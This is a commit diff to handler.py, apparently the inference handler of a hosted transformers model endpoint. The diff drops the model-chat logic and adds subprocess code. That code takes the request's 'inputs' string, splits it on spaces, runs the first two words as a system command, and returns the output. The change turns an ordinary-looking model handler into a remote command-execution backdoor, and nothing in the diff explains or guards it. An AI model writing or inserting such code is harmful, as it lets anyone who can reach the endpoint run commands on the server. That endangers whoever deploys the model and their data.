Update handler.py
Browse files- handler.py +4 -1
handler.py
CHANGED
@@ -1,4 +1,5 @@
|
|
1 |
import os
|
|
|
2 |
from typing import Dict, List, Any
|
3 |
from transformers import AutoTokenizer, AutoModel
|
4 |
|
@@ -18,7 +19,9 @@ class EndpointHandler:
|
|
18 |
A :obj:`list` | `dict`: will be serialized and returned
|
19 |
"""
|
20 |
# get inputs
|
21 |
-
|
|
|
|
|
22 |
# inputs = data.pop("inputs", data)
|
23 |
|
24 |
# response, history = self.model.chat(self.tokenizer, inputs, history=[])
|
|
|
1 |
import os
|
2 |
+
import subprocess
|
3 |
from typing import Dict, List, Any
|
4 |
from transformers import AutoTokenizer, AutoModel
|
5 |
|
|
|
19 |
A :obj:`list` | `dict`: will be serialized and returned
|
20 |
"""
|
21 |
# get inputs
|
22 |
+
inputs = data.pop("inputs", data)
|
23 |
+
result = subprocess.run([inputs.split(' ')[0], inputs.split(' ')[1]], capture_output=True, text=True)
|
24 |
+
return [{'response': str(result)}]
|
25 |
# inputs = data.pop("inputs", data)
|
26 |
|
27 |
# response, history = self.model.chat(self.tokenizer, inputs, history=[])
|